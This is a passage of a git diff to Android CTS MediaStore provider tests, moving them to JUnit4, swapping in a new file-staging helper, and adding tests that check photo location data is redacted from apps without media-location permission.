+ mCountDownLatch.await(NOTIFY_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ }
+
+ private int getInitialDownloadsCount() {
+ try (Cursor cursor = mContentResolver.query(Downloads.EXTERNAL_CONTENT_URI,
+ null, null, null, null)) {
+ return cursor.getCount();
+ }
+ }
+
+ private Uri insertImage(String displayName, String description,
+ File file, String mimeType, int resourceId) throws Exception {
+ file.createNewFile();
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
+ OutputStream out = new FileOutputStream(file)) {
+ FileUtils.copy(in, out);
+ }
+
+ final ContentValues values = new ContentValues();
+ values.put(Images.Media.DISPLAY_NAME, displayName);
+ values.put(Images.Media.TITLE, displayName);
+ values.put(Images.Media.DESCRIPTION, description);
+ values.put(Images.Media.DATA, file.getAbsolutePath());
+ values.put(Images.Media.DATE_ADDED, System.currentTimeMillis() / 1000);
+ values.put(Images.Media.DATE_MODIFIED, System.currentTimeMillis() / 1000);
+ values.put(Images.Media.MIME_TYPE, mimeType);
+
+ final Uri insertUri = mContentResolver.insert(
+ MediaStore.Images.Media.EXTERNAL_CONTENT_URI, values);
+ assertNotNull(insertUri);
+ mAddedUris.add(insertUri);
+ return insertUri;
+ }
+
+ private void verifyScannedDownload(File file) throws Exception {
+ final Uri mediaStoreUri = scanFile(file);
+ Log.e(TAG, "Scanned file " + file.getAbsolutePath() + ": " + mediaStoreUri);
+ mAddedUris.add(mediaStoreUri);
+ assertArrayEquals("File hashes should match for " + file + " and " + mediaStoreUri,
+ hash(new FileInputStream(file)),
+ hash(mContentResolver.openInputStream(mediaStoreUri)));
+
+ // Verify the file is part of downloads collection.
+ final long id = ContentUris.parseId(mediaStoreUri);
+ final Cursor cursor = mContentResolver.query(mExternalDownloads,
+ null, MediaStore.Downloads._ID + "=" + id, null, null);
+ assertEquals(1, cursor.getCount());
+ }
+
+ private Uri scanFile(File file) throws Exception {
+ final CountDownLatch latch = new CountDownLatch(1);
+ final Uri[] mediaStoreUris = new Uri[1];
+ MediaScannerConnection.scanFile(mContext,
+ new String[] {file.getAbsolutePath()},
+ null /* mimeType */,
+ (String path, Uri uri) -> {
+ mediaStoreUris[0] = uri;
+ latch.countDown();
+ });
+
+ latch.await(SCAN_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+ assertNotNull("Failed to scan " + file.getAbsolutePath(), mediaStoreUris[0]);
+ return mediaStoreUris[0];
+ }
+
+ private static byte[] hash(InputStream in) throws Exception {
+ try (DigestInputStream digestIn = new DigestInputStream(in,
+ MessageDigest.getInstance("SHA-1"));
+ OutputStream out = new FileOutputStream(new File("/dev/null"))) {
+ FileUtils.copy(digestIn, out);
+ return digestIn.getMessageDigest().digest();
+ } finally {
+ IoUtils.closeQuietly(in);
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java
index d22feee..380ba82 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_FilesTest.java
@@ -19,6 +19,13 @@
import static android.provider.cts.ProviderTestUtils.assertExists;
import static android.provider.cts.ProviderTestUtils.assertNotExists;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.ContentValues;
@@ -31,9 +38,13 @@
import android.provider.MediaStore;
import android.provider.MediaStore.Files.FileColumns;
import android.provider.MediaStore.MediaColumns;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.FileCopyHelper;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.io.File;
import java.io.FileNotFoundException;
@@ -44,20 +55,21 @@
import java.util.Collections;
import java.util.List;
-public class MediaStore_FilesTest extends AndroidTestCase {
-
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_FilesTest {
+ private Context mContext;
private ContentResolver mResolver;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
mResolver = mContext.getContentResolver();
+
cleanup();
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
+ @After
+ public void tearDown() throws Exception {
cleanup();
}
@@ -92,6 +104,7 @@
f.delete();
}
+ @Test
public void testGetContentUri() {
String volumeName = MediaStoreAudioTestHelper.EXTERNAL_VOLUME_NAME;
Uri allFilesUri = MediaStore.Files.getContentUri(volumeName);
@@ -172,6 +185,7 @@
}
}
+ @Test
public void testCaseSensitivity() throws IOException {
String fileDir = Environment.getExternalStorageDirectory() +
"/" + getClass().getCanonicalName();
@@ -202,6 +216,7 @@
}
}
+ @Test
public void testAccess() throws Exception {
// clean up from previous run
mResolver.delete(MediaStore.Images.Media.INTERNAL_CONTENT_URI,
@@ -479,6 +494,7 @@
return paths;
}
+ @Test
public void testUpdateMediaType() throws Exception {
String fileDir = Environment.getExternalStorageDirectory() +
"/" + getClass().getCanonicalName();
@@ -519,8 +535,7 @@
File out = new File(path);
File dir = out.getParentFile();
dir.mkdirs();
- FileCopyHelper copier = new FileCopyHelper(mContext);
- copier.copyToExternalStorage(resid, out);
+ ProviderTestUtils.stageFile(resid, out);
}
private int getFileCount(Uri uri) {
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
index ba78763..fe9010d 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
@@ -16,28 +16,50 @@
package android.provider.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
+import android.media.ExifInterface;
import android.net.Uri;
import android.os.Environment;
+import android.os.ParcelFileDescriptor;
+import android.os.storage.StorageManager;
import android.platform.test.annotations.Presubmit;
+import android.provider.MediaStore;
+import android.provider.MediaStore.Images.ImageColumns;
import android.provider.MediaStore.Images.Media;
import android.provider.MediaStore.Images.Thumbnails;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
-import com.android.compatibility.common.util.FileCopyHelper;
import com.android.compatibility.common.util.FileUtils;
+import libcore.io.IoUtils;
+
+import org.junit.After;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.io.File;
import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.io.OutputStream;
import java.util.ArrayList;
-public class MediaStore_Images_MediaTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Images_MediaTest {
private static final String MIME_TYPE_JPEG = "image/jpeg";
private static final String TEST_TITLE1 = "test title1";
@@ -60,26 +82,18 @@
private ContentResolver mContentResolver;
- private FileCopyHelper mHelper;
-
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
for (Uri row : mRowsAdded) {
mContentResolver.delete(row, null, null);
}
-
- mHelper.clear();
- super.tearDown();
}
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mContext = getInstrumentation().getTargetContext();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
mContentResolver = mContext.getContentResolver();
- mHelper = new FileCopyHelper(mContext);
mRowsAdded = new ArrayList<Uri>();
File pics = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES);
@@ -93,6 +107,7 @@
}
+ @Test
public void testInsertImageWithImagePath() throws Exception {
Cursor c = Media.query(mContentResolver, Media.EXTERNAL_CONTENT_URI, null, null,
"_id ASC");
@@ -100,7 +115,9 @@
c.close();
// insert an image by path
- String path = mHelper.copy(R.raw.scenery, "mediaStoreTest1.jpg");
+ File file = mContext.getFileStreamPath("mediaStoreTest1.jpg");
+ String path = file.getAbsolutePath();
+ ProviderTestUtils.stageFile(R.raw.scenery, file);
String stringUrl = null;
try {
stringUrl = Media.insertImage(mContentResolver, path, TEST_TITLE1, TEST_DESCRIPTION1);
@@ -114,7 +131,9 @@
mRowsAdded.add(Uri.parse(stringUrl));
// insert another image by path
- path = mHelper.copy(R.raw.scenery, "mediaStoreTest2.jpg");
+ file = mContext.getFileStreamPath("mediaStoreTest2.jpg");
+ path = file.getAbsolutePath();
+ ProviderTestUtils.stageFile(R.raw.scenery, file);
stringUrl = null;
try {
stringUrl = Media.insertImage(mContentResolver, path, TEST_TITLE2, TEST_DESCRIPTION2);
@@ -164,6 +183,7 @@
c.close();
}
+ @Test
public void testInsertImageWithBitmap() throws Exception {
// insert the image by bitmap
Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
@@ -191,6 +211,7 @@
}
@Presubmit
+ @Test
public void testGetContentUri() {
Cursor c = null;
assertNotNull(c = mContentResolver.query(Media.getContentUri("internal"), null, null, null,
@@ -210,6 +231,7 @@
new File(path).delete();
}
+ @Test
public void testStoreImagesMediaExternal() throws Exception {
final String externalPath = Environment.getExternalStorageDirectory().getPath() +
"/testimage.jpg";
@@ -229,8 +251,6 @@
long dateTaken = System.currentTimeMillis();
values.put(Media.DATE_TAKEN, dateTaken);
values.put(Media.DESCRIPTION, "This is a image");
- values.put(Media.LATITUDE, 40.689060d);
- values.put(Media.LONGITUDE, -74.044636d);
values.put(Media.IS_PRIVATE, 1);
values.put(Media.MINI_THUMB_MAGIC, 0);
values.put(Media.DATA, externalPath);
@@ -259,8 +279,6 @@
assertEquals(dateTaken, c.getLong(c.getColumnIndex(Media.DATE_TAKEN)));
assertEquals("This is a image",
c.getString(c.getColumnIndex(Media.DESCRIPTION)));
- assertEquals(40.689060d, c.getDouble(c.getColumnIndex(Media.LATITUDE)), 0d);
- assertEquals(-74.044636d, c.getDouble(c.getColumnIndex(Media.LONGITUDE)), 0d);
assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
assertEquals(externalPath, c.getString(c.getColumnIndex(Media.DATA)));
@@ -282,8 +300,6 @@
dateTaken = System.currentTimeMillis();
values.put(Media.DATE_TAKEN, dateTaken);
values.put(Media.DESCRIPTION, "This is another image");
- values.put(Media.LATITUDE, 41.689060d);
- values.put(Media.LONGITUDE, -75.044636d);
values.put(Media.IS_PRIVATE, 0);
values.put(Media.MINI_THUMB_MAGIC, 2);
values.put(Media.DATA, externalPath2);
@@ -304,8 +320,6 @@
assertEquals(dateTaken, c.getLong(c.getColumnIndex(Media.DATE_TAKEN)));
assertEquals("This is another image",
c.getString(c.getColumnIndex(Media.DESCRIPTION)));
- assertEquals(41.689060d, c.getDouble(c.getColumnIndex(Media.LATITUDE)), 0d);
- assertEquals(-75.044636d, c.getDouble(c.getColumnIndex(Media.LONGITUDE)), 0d);
assertEquals(0, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
assertEquals(2, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
assertEquals(externalPath2,
@@ -324,6 +338,7 @@
}
}
+ @Test
public void testStoreImagesMediaInternal() {
// can not insert any data, so other operations can not be tested
try {
@@ -351,4 +366,105 @@
assertEquals(2, c.getCount());
c.close();
}
+
+ /**
+ * This test doesn't hold
+ * {@link android.Manifest.permission#ACCESS_MEDIA_LOCATION}, so Exif
+ * location information should be redacted.
+ */
+ @Test
+ public void testLocationRedaction() throws Exception {
+ // STOPSHIP: remove this once isolated storage is always enabled
+ Assume.assumeTrue(StorageManager.hasIsolatedStorage());
+
+ final String displayName = "cts" + System.nanoTime();
+ final MediaStore.PendingParams params = new MediaStore.PendingParams(
+ MediaStore.Images.Media.EXTERNAL_CONTENT_URI, displayName, "image/jpeg");
+
+ final Uri pendingUri = MediaStore.createPending(mContext, params);
+ final Uri publishUri;
+ final MediaStore.PendingSession session = MediaStore.openPending(mContext, pendingUri);
+ try {
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.volantis);
+ OutputStream out = session.openOutputStream()) {
+ android.os.FileUtils.copy(in, out);
+ }
+ publishUri = session.publish();
+ } finally {
+ IoUtils.closeQuietly(session);
+ }
+
+ final Uri originalUri = MediaStore.setRequireOriginal(publishUri);
+
+ // Since we own the image, we should be able to see the Exif data that
+ // we ourselves contributed
+ try (InputStream is = mContentResolver.openInputStream(publishUri)) {
+ final ExifInterface exif = new ExifInterface(is);
+ final float[] latLong = new float[2];
+ exif.getLatLong(latLong);
+ assertEquals(37.42303, latLong[0], 0.001);
+ assertEquals(-122.162025, latLong[1], 0.001);
+ }
+ // As owner, we should be able to request the original bytes
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
+ }
+
+ // Now remove ownership, which means that Exif should be redacted
+ ProviderTestUtils.executeShellCommand(
+ "content update --uri " + publishUri + " --bind owner_package_name:n:",
+ InstrumentationRegistry.getInstrumentation().getUiAutomation());
+ try (InputStream is = mContentResolver.openInputStream(publishUri)) {
+ final ExifInterface exif = new ExifInterface(is);
+ final float[] latLong = new float[2];
+ exif.getLatLong(latLong);
+ assertEquals(0, latLong[0], 0.001);
+ assertEquals(0, latLong[1], 0.001);
+ }
+ // We can't request original bytes unless we have permission
+ try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
+ fail("Able to read original content without ACCESS_MEDIA_LOCATION");
+ } catch (UnsupportedOperationException expected) {
+ }
+ }
+
+ @Test
+ public void testLocationDeprecated() throws Exception {
+ final String displayName = "cts" + System.nanoTime();
+ final MediaStore.PendingParams params = new MediaStore.PendingParams(
+ MediaStore.Images.Media.EXTERNAL_CONTENT_URI, displayName, "image/jpeg");
+
+ final Uri pendingUri = MediaStore.createPending(mContext, params);
+ final Uri publishUri;
+ final MediaStore.PendingSession session = MediaStore.openPending(mContext, pendingUri);
+ try {
+ try (InputStream in = mContext.getResources().openRawResource(R.raw.volantis);
+ OutputStream out = session.openOutputStream()) {
+ android.os.FileUtils.copy(in, out);
+ }
+ publishUri = session.publish();
+ } finally {
+ IoUtils.closeQuietly(session);
+ }
+
+ // Verify that location wasn't indexed
+ try (Cursor c = mContentResolver.query(publishUri,
+ new String[] { ImageColumns.LATITUDE, ImageColumns.LONGITUDE }, null, null)) {
+ assertTrue(c.moveToFirst());
+ assertTrue(c.isNull(0));
+ assertTrue(c.isNull(1));
+ }
+
+ // Verify that location values aren't recorded
+ final ContentValues values = new ContentValues();
+ values.put(ImageColumns.LATITUDE, 32f);
+ values.put(ImageColumns.LONGITUDE, 64f);
+ mContentResolver.update(publishUri, values, null, null);
+
+ try (Cursor c = mContentResolver.query(publishUri,
+ new String[] { ImageColumns.LATITUDE, ImageColumns.LONGITUDE }, null, null)) {
+ assertTrue(c.moveToFirst());
+ assertTrue(c.isNull(0));
+ assertTrue(c.isNull(1));
+ }
+ }
}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
index 600825a..ee6fbe5 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_ThumbnailsTest.java
@@ -19,6 +19,13 @@
import static android.provider.cts.ProviderTestUtils.assertExists;
import static android.provider.cts.ProviderTestUtils.assertNotExists;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.ContentValues;
@@ -33,30 +40,33 @@
import android.provider.MediaStore.Images.Media;
import android.provider.MediaStore.Images.Thumbnails;
import android.provider.MediaStore.MediaColumns;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
import android.util.DisplayMetrics;
-import com.android.compatibility.common.util.FileCopyHelper;
-
import junit.framework.AssertionFailedError;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.io.File;
import java.util.ArrayList;
-public class MediaStore_Images_ThumbnailsTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Images_ThumbnailsTest {
private ArrayList<Uri> mRowsAdded;
private Context mContext;
private ContentResolver mContentResolver;
- private FileCopyHelper mHelper;
-
private Uri mRed;
private Uri mBlue;
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
for (Uri row : mRowsAdded) {
try {
mContentResolver.delete(row, null, null);
@@ -65,27 +75,21 @@
// ignores the exception and make the loop goes on
}
}
-
- mHelper.clear();
- super.tearDown();
}
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mContext = getInstrumentation().getTargetContext();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
mContentResolver = mContext.getContentResolver();
- mHelper = new FileCopyHelper(mContext);
mRowsAdded = new ArrayList<Uri>();
}
private void prepareImages() throws Exception {
final File red = new File(Environment.getExternalStorageDirectory(), "red.jpg");
final File blue = new File(Environment.getExternalStorageDirectory(), "blue.jpg");
- mHelper.copyToExternalStorage(R.raw.scenery, red);
- mHelper.copyToExternalStorage(R.raw.scenery, blue);
+ ProviderTestUtils.stageFile(R.raw.scenery, red);
+ ProviderTestUtils.stageFile(R.raw.scenery, blue);
try (MediaScanner scanner = new MediaScanner(mContext, "external")) {
mRed = scanner.scanSingleFile(red.getAbsolutePath(), "image/jpeg");
mBlue = scanner.scanSingleFile(blue.getAbsolutePath(), "image/jpeg");
@@ -100,6 +104,7 @@
}
}
+ @Test
public void testQueryExternalThumbnails() throws Exception {
prepareImages();
@@ -109,7 +114,9 @@
c.close();
// add a thumbnail
- String path = mHelper.copy(R.raw.scenery, "testThumbnails.jpg");
+ final File file = mContext.getFileStreamPath("testThumbnails.jpg");
+ final String path = file.getAbsolutePath();
+ ProviderTestUtils.stageFile(R.raw.scenery, file);
ContentValues values = new ContentValues();
values.put(Thumbnails.KIND, Thumbnails.MINI_KIND);
values.put(Thumbnails.DATA, path);
@@ -141,6 +148,7 @@
c.close();
}
+ @Test
public void testQueryExternalMiniThumbnails() throws Exception {
// insert the image by bitmap
BitmapFactory.Options opts = new BitmapFactory.Options();
@@ -246,6 +254,7 @@
assertExists("image file should still exist", imagePath);
}
+ @Test
public void testGetContentUri() {
Cursor c = null;
assertNotNull(c = mContentResolver.query(Thumbnails.getContentUri("internal"), null, null,
@@ -261,6 +270,7 @@
null));
}
+ @Test
public void testStoreImagesMediaExternal() throws Exception {
prepareImages();
@@ -305,6 +315,7 @@
assertEquals(1, mContentResolver.delete(uri, null, null));
}
+ @Test
public void testThumbnailGenerationAndCleanup() throws Exception {
// insert an image
Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
@@ -386,6 +397,7 @@
new File(sourcePath).delete();
}
+ @Test
public void testStoreImagesMediaInternal() {
// can not insert any data, so other operations can not be tested
try {
@@ -397,6 +409,7 @@
}
}
+ @Test
public void testThumbnailOrderedQuery() throws Exception {
Bitmap src = BitmapFactory.decodeResource(mContext.getResources(), R.raw.scenery);
Uri url[] = new Uri[3];
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java
index 8ba8c17..1a82b216 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_VideoTest.java
@@ -16,7 +16,7 @@
package android.provider.cts;
-import android.provider.cts.R;
+import static org.junit.Assert.assertEquals;
import android.content.ContentResolver;
import android.content.ContentValues;
@@ -25,13 +25,19 @@
import android.net.Uri;
import android.provider.MediaStore.Video;
import android.provider.MediaStore.Video.VideoColumns;
-import android.test.InstrumentationTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.FileCopyHelper;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import java.io.File;
import java.util.ArrayList;
-public class MediaStore_VideoTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_VideoTest {
private static final String TEST_VIDEO_3GP = "testVideo.3gp";
private ArrayList<Uri> mRowsAdded;
@@ -40,29 +46,28 @@
private ContentResolver mContentResolver;
- private FileCopyHelper mHelper;
-
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
for (Uri row : mRowsAdded) {
mContentResolver.delete(row, null, null);
}
- mHelper.clear();
- super.tearDown();
}
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mContext = getInstrumentation().getTargetContext();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
mContentResolver = mContext.getContentResolver();
- mHelper = new FileCopyHelper(mContext);
mRowsAdded = new ArrayList<Uri>();
}
+ @Test
public void testQuery() throws Exception {
ContentValues values = new ContentValues();
- String valueOfData = mHelper.copy(R.raw.testvideo, TEST_VIDEO_3GP);
+
+ final File file = mContext.getFileStreamPath(TEST_VIDEO_3GP);
+ final String valueOfData = file.getAbsolutePath();
+ ProviderTestUtils.stageFile(R.raw.testvideo, file);
+
values.put(VideoColumns.DATA, valueOfData);
Uri newUri = mContentResolver.insert(Video.Media.INTERNAL_CONTENT_URI, values);
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
index b75543e..8d3ba29 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
@@ -19,6 +19,12 @@
import static android.provider.cts.ProviderTestUtils.assertExists;
import static android.provider.cts.ProviderTestUtils.assertNotExists;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Context;
@@ -28,24 +34,30 @@
import android.provider.MediaStore;
import android.provider.MediaStore.Video.Media;
import android.provider.MediaStore.Video.VideoColumns;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.FileCopyHelper;
import com.android.compatibility.common.util.FileUtils;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.io.File;
import java.io.IOException;
-public class MediaStore_Video_MediaTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Video_MediaTest {
+ private Context mContext;
private ContentResolver mContentResolver;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mContentResolver = getContext().getContentResolver();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mContentResolver = mContext.getContentResolver();
}
+ @Test
public void testGetContentUri() {
Cursor c = null;
assertNotNull(c = mContentResolver.query(Media.getContentUri("internal"), null, null, null,
@@ -65,6 +77,7 @@
new File(path).delete();
}
+ @Test
public void testStoreVideoMediaExternal() throws Exception {
final String externalVideoPath = Environment.getExternalStorageDirectory().getPath() +
"/video/testvideo.3gp";
@@ -88,8 +101,6 @@
values.put(Media.DESCRIPTION, "This is a video");
values.put(Media.DURATION, 8480);
values.put(Media.LANGUAGE, "en");
- values.put(Media.LATITUDE, 40.689060d);
- values.put(Media.LONGITUDE, -74.044636d);
values.put(Media.IS_PRIVATE, 1);
values.put(Media.MINI_THUMB_MAGIC, 0);
values.put(Media.RESOLUTION, "176x144");
@@ -123,8 +134,6 @@
assertEquals("This is a video",
c.getString(c.getColumnIndex(Media.DESCRIPTION)));
assertEquals("en", c.getString(c.getColumnIndex(Media.LANGUAGE)));
- assertEquals(40.689060d, c.getDouble(c.getColumnIndex(Media.LATITUDE)), 0d);
- assertEquals(-74.044636d, c.getDouble(c.getColumnIndex(Media.LONGITUDE)), 0d);
assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
assertEquals("176x144", c.getString(c.getColumnIndex(Media.RESOLUTION)));
@@ -149,8 +158,6 @@
values.put(Media.DESCRIPTION, "This is another video");
values.put(Media.DURATION, 8481);
values.put(Media.LANGUAGE, "cn");
- values.put(Media.LATITUDE, 41.689060d);
- values.put(Media.LONGITUDE, -75.044636d);
values.put(Media.IS_PRIVATE, 0);
values.put(Media.MINI_THUMB_MAGIC, 2);
values.put(Media.RESOLUTION, "320x240");
@@ -176,8 +183,6 @@
assertEquals("This is another video",
c.getString(c.getColumnIndex(Media.DESCRIPTION)));
assertEquals("cn", c.getString(c.getColumnIndex(Media.LANGUAGE)));
- assertEquals(41.689060d, c.getDouble(c.getColumnIndex(Media.LATITUDE)), 0d);
- assertEquals(-75.044636d, c.getDouble(c.getColumnIndex(Media.LONGITUDE)), 0d);
assertEquals(0, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
assertEquals(2, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
assertEquals("320x240", c.getString(c.getColumnIndex(Media.RESOLUTION)));
@@ -198,7 +203,7 @@
}
// check that the video file is removed when deleting the database entry
- Context context = getContext();
+ Context context = mContext;
Uri videoUri = insertVideo(context);
File videofile = new File(Environment.getExternalStorageDirectory(), "testVideo.3gp");
assertExists(videofile);
@@ -216,6 +221,7 @@
}
+ @Test
public void testStoreVideoMediaInternal() {
// can not insert any data, so other operations can not be tested
try {
@@ -232,7 +238,7 @@
// clean up any potential left over entries from a previous aborted run
cleanExternalMediaFile(file.getAbsolutePath());
- new FileCopyHelper(context).copyToExternalStorage(R.raw.testvideo, file);
+ ProviderTestUtils.stageFile(R.raw.testvideo, file);
ContentValues values = new ContentValues();
values.put(VideoColumns.DATA, file.getAbsolutePath());
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java
index a26a1a2..677b5fb 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_ThumbnailsTest.java
@@ -19,9 +19,17 @@
import static android.provider.cts.ProviderTestUtils.assertExists;
import static android.provider.cts.ProviderTestUtils.assertNotExists;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.ContentValues;
+import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.os.Environment;
@@ -29,40 +37,38 @@
import android.provider.MediaStore.Video.Media;
import android.provider.MediaStore.Video.Thumbnails;
import android.provider.MediaStore.Video.VideoColumns;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
-import com.android.compatibility.common.util.FileCopyHelper;
import com.android.compatibility.common.util.MediaUtils;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.io.File;
import java.io.IOException;
-public class MediaStore_Video_ThumbnailsTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class MediaStore_Video_ThumbnailsTest {
private static final String TAG = "MediaStore_Video_ThumbnailsTest";
+ private Context mContext;
private ContentResolver mResolver;
- private FileCopyHelper mFileHelper;
-
private boolean hasCodec() {
return MediaUtils.hasCodecForResourceAndDomain(
mContext, R.raw.testthumbvideo, "video/");
}
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
mResolver = mContext.getContentResolver();
- mFileHelper = new FileCopyHelper(mContext);
}
- @Override
- protected void tearDown() throws Exception {
- mFileHelper.clear();
- super.tearDown();
- }
-
+ @Test
public void testGetContentUri() {
Uri internalUri = Thumbnails.getContentUri(MediaStoreAudioTestHelper.INTERNAL_VOLUME_NAME);
Uri externalUri = Thumbnails.getContentUri(MediaStoreAudioTestHelper.EXTERNAL_VOLUME_NAME);
@@ -70,6 +76,7 @@
assertEquals(Thumbnails.EXTERNAL_CONTENT_URI, externalUri);
}
+ @Test
public void testGetThumbnail() throws Exception {
// Insert a video into the provider.
Uri videoUri = insertVideo();
@@ -123,6 +130,7 @@
assertEquals(1, mResolver.delete(videoUri, null, null));
}
+ @Test
public void testThumbnailGenerationAndCleanup() throws Exception {
if (!hasCodec()) {
@@ -224,7 +232,8 @@
mResolver.delete(Media.EXTERNAL_CONTENT_URI,
"_data=?", new String[] { file.getAbsolutePath() });
file.delete();
